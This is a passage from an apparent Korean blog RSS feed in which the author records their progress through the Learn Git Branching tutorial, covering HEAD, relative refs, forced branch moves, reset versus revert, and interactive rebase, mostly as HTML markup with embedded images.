data-phocus=&quot;https://blog.kakaocdn.net/dn/2y1hK/dJMb99Mtu4a/YJLiWo9arUlgCDXcMvz3I1/img.png&quot; data-origin-width=&quot;416&quot; data-origin-height=&quot;422&quot; data-is-animation=&quot;false&quot; style=&quot;width: 55.1589%;&quot; data-widthpercent=&quot;55.81&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/2y1hK/dJMb99Mtu4a/YJLiWo9arUlgCDXcMvz3I1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F2y1hK%2FdJMb99Mtu4a%2FYJLiWo9arUlgCDXcMvz3I1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;416&quot; height=&quot;422&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;463&quot; data-origin-height=&quot;219&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bc0SYB/dJMcaiimMF1/TOlOHdJpZUKo9xlg5RWHv0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bc0SYB/dJMcaiimMF1/TOlOHdJpZUKo9xlg5RWHv0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bc0SYB/dJMcaiimMF1/TOlOHdJpZUKo9xlg5RWHv0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbc0SYB%2FdJMcaiimMF1%2FTOlOHdJpZUKo9xlg5RWHv0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;463&quot; height=&quot;219&quot; data-origin-width=&quot;463&quot; data-origin-height=&quot;219&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;짜잔~ 쉽게 완성했지요??&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;어라 모범 답안은 명령어 1개를 사용한대요..&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다시해볼게요&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;457&quot; data-origin-height=&quot;179&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bIHuux/dJMcaibC1Ct/Lmw0xzEqeRunpO2LEAiWS0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bIHuux/dJMcaibC1Ct/Lmw0xzEqeRunpO2LEAiWS0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bIHuux/dJMcaibC1Ct/Lmw0xzEqeRunpO2LEAiWS0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbIHuux%2FdJMcaibC1Ct%2FLmw0xzEqeRunpO2LEAiWS0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;457&quot; height=&quot;179&quot; data-origin-width=&quot;457&quot; data-origin-height=&quot;179&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;좋아요 !! 합격 ~~&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style7&quot; /&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;Git 인터렉티브 리베이스&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;체리 픽 : 원하는 커밋을 알 때 (각각의 해시값도)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;인터렉티브 리베이스 : 몰라도 사용가능&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예시 상황&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;A &amp;rarr; B &amp;rarr; C &amp;rarr; D &amp;rarr; E (HEAD)&lt;br /&gt; &quot;C랑 D는 살리고 싶은데 B는 필요 없음&quot;&lt;br /&gt;❗ 근데:&lt;br /&gt;해시값 모름그냥 &amp;ldquo;위치만 앎&amp;rdquo;&lt;/blockquote&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div id=&quot;code-block-viewer&quot;&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;인터렉티브 리베이스란?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;rebase 명령어 사용할 때 -i 옵션을 같이 사용한다는 것 !&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;918&quot; data-origin-height=&quot;196&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/r4mIx/dJMcahX4bez/zmRIEhDnsSz0oPLKYoo2wK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/r4mIx/dJMcahX4bez/zmRIEhDnsSz0oPLKYoo2wK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/r4mIx/dJMcahX4bez/zmRIEhDnsSz0oPLKYoo2wK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fr4mIx%2FdJMcahX4bez%2FzmRIEhDnsSz0oPLKYoo2wK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;918&quot; height=&quot;196&quot; data-origin-width=&quot;918&quot; data-origin-height=&quot;196&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;요런 내용도 참고해주시면 되겠습니다 ~!!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;자 벌써 세 번째 챕터가 끝났고요&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;담엔 네 번째 챕터로 돌아올게여&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;736&quot; data-origin-height=&quot;608&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c4Fj6L/dJMcagLD8Of/kE1W30RCctDI96rzM1Htnk/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c4Fj6L/dJMcagLD8Of/kE1W30RCctDI96rzM1Htnk/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c4Fj6L/dJMcagLD8Of/kE1W30RCctDI96rzM1Htnk/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc4Fj6L%2FdJMcagLD8Of%2FkE1W30RCctDI96rzM1Htnk%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;736&quot; height=&quot;608&quot; data-origin-width=&quot;736&quot; data-origin-height=&quot;608&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그럼안녕&lt;/p&gt;</description>
      <category> &amp;zwj; 양송이 Git 스프</category>
      <author>곰젤리마스터</author>
      <guid isPermaLink="true">https://gummybearsong.tistory.com/12</guid>
      <comments>https://gummybearsong.tistory.com/12#entry12comment</comments>
      <pubDate>Mon, 23 Mar 2026 10:53:25 +0900</pubDate>
    </item>
    <item>
      <title>다음 단계로</title>
      <link>https://gummybearsong.tistory.com/11</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;919&quot; data-origin-height=&quot;345&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/S2kZe/dJMcagdN0gd/biVGD1tDXGuyi6jxLwqed0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/S2kZe/dJMcagdN0gd/biVGD1tDXGuyi6jxLwqed0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/S2kZe/dJMcagdN0gd/biVGD1tDXGuyi6jxLwqed0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FS2kZe%2FdJMcagdN0gd%2FbiVGD1tDXGuyi6jxLwqed0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;919&quot; height=&quot;345&quot; data-origin-width=&quot;919&quot; data-origin-height=&quot;345&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;Git에서 여기저기로 옮겨다니기&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;프로젝트를 표현하는 커밋 트리에서 이동할 수 있는 방법들을 알아부자~&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;HEAD&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;현재 체크아웃된 커밋을 가리킴&lt;/li&gt;
&lt;li&gt;즉, 현재 작업 중인 커밋!&lt;/li&gt;
&lt;li&gt;항상 작업트리의 가장 최근 커밋을 가리킴&lt;/li&gt;
&lt;li&gt;작업트리에 변화를 주는 git 명령어들은 대부분 HEAD를 변경하는 것으로 시작&lt;/li&gt;
&lt;li&gt;브랜치의 이름을 가리키고 있음&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/vKp6Q/dJMcahKwSDY/Beory0K9j1JyhUl8XX5TV0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/vKp6Q/dJMcahKwSDY/Beory0K9j1JyhUl8XX5TV0/img.png&quot; data-origin-width=&quot;907&quot; data-origin-height=&quot;529&quot; data-is-animation=&quot;false&quot; style=&quot;width: 45.4156%; margin-right: 10px;&quot; data-widthpercent=&quot;45.95&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/vKp6Q/dJMcahKwSDY/Beory0K9j1JyhUl8XX5TV0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FvKp6Q%2FdJMcahKwSDY%2FBeory0K9j1JyhUl8XX5TV0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;907&quot; height=&quot;529&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c66Z9z/dJMcaduxqPZ/LCwyPKF6pyCC2EGHFkp9Uk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c66Z9z/dJMcaduxqPZ/LCwyPKF6pyCC2EGHFkp9Uk/img.png&quot; data-origin-width=&quot;480&quot; data-origin-height=&quot;238&quot; data-is-animation=&quot;false&quot; style=&quot;width: 53.4217%;&quot; data-widthpercent=&quot;54.05&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c66Z9z/dJMcaduxqPZ/LCwyPKF6pyCC2EGHFkp9Uk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc66Z9z%2FdJMcaduxqPZ%2FLCwyPKF6pyCC2EGHFkp9Uk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;480&quot; height=&quot;238&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;상대 참조 (상대 커밋)&lt;br /&gt;&lt;/b&gt;&lt;/blockquote&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;실제로는 커밋의 해시를 확인하고 사용해야함&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt; fed2da64c0efc5293610bdd892f82a58e8cbc5d8 이런 식으로 길다 !&lt;/span&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;해시가 커미스이 고유한 값임을 보여줄 수 있을 만큼만 명시해주면 됨&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;fed2 이런식으로 입력해도 됨&lt;/span&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;이래서 상대 커밋이 등장함 !! (Relative Ref)&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;한 번에 한 커밋 위로 움직이는 ^ (캐럿 연산자)&lt;/li&gt;
&lt;li&gt;한 번에 여러 키밋 위로 올라가는 ~&amp;lt;num&amp;gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;캐럿 (^) 연산자&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;참조 이름에 하나씩 추가할 때마다, 명시한 커밋의 부모를 찾게 됨&lt;/p&gt;
&lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;main^ : main의 부모&lt;/li&gt;
&lt;li&gt;main^^ : main의 조부&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;틸드 (~) 연산자&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;커밋 트리에서 위로 여러 단계 오르기&lt;/p&gt;
&lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;올라가고 싶은 부모의 갯수를 숫자로 붙임&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;브랜치 강제로 옮기기&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-f 옵션을 이용해서 브랜치를 특정 커밋에 직접적으로 재지정 할 수 있음&lt;/p&gt;
&lt;pre id=&quot;code_1774228230936&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;git branch -f main HEAD~3&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;main 브랜치를 HEAD에서 3번 뒤로 옮김&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style7&quot; /&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;Git에서 작업 되돌리기&lt;/blockquote&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;git reset&lt;/li&gt;
&lt;li&gt;git revert&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1774228797422&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;git reset&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;애초에 커밋하지 않은 것처럼 예전 커밋으로 브랜치를 옮기는 것&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1774228837335&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;git revert&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;변경분을 되돌리고, 이 내용을 다른 사람들과 공유&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;요 개념 조금 헷갈려서 지피띠니의 도움을 받았답니다?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 65.4651%; height: 88px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;구분&lt;/td&gt;
&lt;td&gt;reset&lt;/td&gt;
&lt;td&gt;revert&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;히스토리&lt;/td&gt;
&lt;td&gt;❌ 삭제됨&lt;/td&gt;
&lt;td&gt;✅ 유지됨&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;방식&lt;/td&gt;
&lt;td&gt;과거로 이동&lt;/td&gt;
&lt;td&gt;취소 커밋 생성&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;협업&lt;/td&gt;
&lt;td&gt;위험&lt;/td&gt;
&lt;td&gt;안전&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;느낌&lt;/td&gt;
&lt;td&gt;타임머신&lt;/td&gt;
&lt;td&gt;되돌리기 버튼&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;요런 느낌이라구하네여&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;벌써 7개 챕터 중 2개를 처리했네요&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ㅎㅅㅎ ez&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;736&quot; data-origin-height=&quot;414&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cegpob/dJMcajuM3TR/uBtwkHBTsKnKFXF8D5vAB0/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cegpob/dJMcajuM3TR/uBtwkHBTsKnKFXF8D5vAB0/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cegpob/dJMcajuM3TR/uBtwkHBTsKnKFXF8D5vAB0/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcegpob%2FdJMcajuM3TR%2FuBtwkHBTsKnKFXF8D5vAB0%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;635&quot; height=&quot;357&quot; data-origin-width=&quot;736&quot; data-origin-height=&quot;414&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;수고한 여러분들께 선물로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;귀여운 유이쨩 사진을 바칩니다&lt;/p&gt;</description>
      <category> &amp;zwj; 양송이 Git 스프</category>
      <author>곰젤리마스터</author>
      <guid isPermaLink="true">https://gummybearsong.tistory.com/11</guid>
      <comments>https://gummybearsong.tistory.com/11#entry11comment</comments>
      <pubDate>Mon, 23 Mar 2026 10:28:46 +0900</pubDate>
    </item>
    <item>
      <title>Git 기본</title>
      <link>https://gummybearsong.tistory.com/10</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;안녕하세요?&amp;nbsp;&lt;br /&gt;오늘은 깃 허브를 맛있게 끓여볼게요&lt;br /&gt; &amp;zwj; &lt;br /&gt;(보글보글)&lt;br /&gt;&amp;nbsp;&lt;br /&gt;저는 사실 전공자이나 아직 깃을 다루는 것에 미숙하여...&lt;br /&gt;어쩔 수 없이 깃 스프를 끓이게 되었답니다?&lt;br /&gt;&amp;nbsp;&lt;br /&gt;자 한 번 해봅시다&lt;br /&gt; &amp;zwj; &lt;br /&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style7&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt; &lt;/span&gt;&lt;a href=&quot;https://learngitbranching.js.org/&quot;&gt;https://learngitbranching.js.org/&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure data-ke-type=&quot;opengraph&quot; data-og-title=&quot;Learn Git Branching&quot; data-ke-align=&quot;alignCenter&quot; data-og-description=&quot;An interactive Git visualization tool to educate and challenge!&quot; data-og-host=&quot;learngitbranching.js.org&quot; data-og-source-url=&quot;https://learngitbranching.js.org/?locale=ko&quot; data-og-image=&quot;https://blog.kakaocdn.net/dna/bm10ng/dJMb8RRQ2Yq/AAAAAAAAAAAAAAAAAAAAALQwj989QQHMZlfhjOBZF1qt_-feYVTLobXX7kYKbiyf/img.png?credential=yqXZFxpELC7KVnFOS48ylbz2pIh7yKj8&amp;amp;expires=1774969199&amp;amp;allow_ip=&amp;amp;allow_referer=&amp;amp;signature=IyRXJK4d%2B2%2BJIiEW1O7OrfdUktk%3D&quot; data-og-url=&quot;https://pcottle.github.io/learnGitBranching/index.html?demo&quot;&gt;&lt;a href=&quot;https://pcottle.github.io/learnGitBranching/index.html?demo&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://learngitbranching.js.org/?locale=ko&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://blog.kakaocdn.net/dna/bm10ng/dJMb8RRQ2Yq/AAAAAAAAAAAAAAAAAAAAALQwj989QQHMZlfhjOBZF1qt_-feYVTLobXX7kYKbiyf/img.png?credential=yqXZFxpELC7KVnFOS48ylbz2pIh7yKj8&amp;amp;expires=1774969199&amp;amp;allow_ip=&amp;amp;allow_referer=&amp;amp;signature=IyRXJK4d%2B2%2BJIiEW1O7OrfdUktk%3D');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Learn Git Branching&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;An interactive Git visualization tool to educate and challenge!&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;learngitbranching.js.org&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일단 이 사이트를 참고하며 공부하겠습니다 !!&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;메인과 원격 이렇게 두 챕터로 나뉘어져있구요&lt;br /&gt;레벨 또한 선택하실 수 있답니다?&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
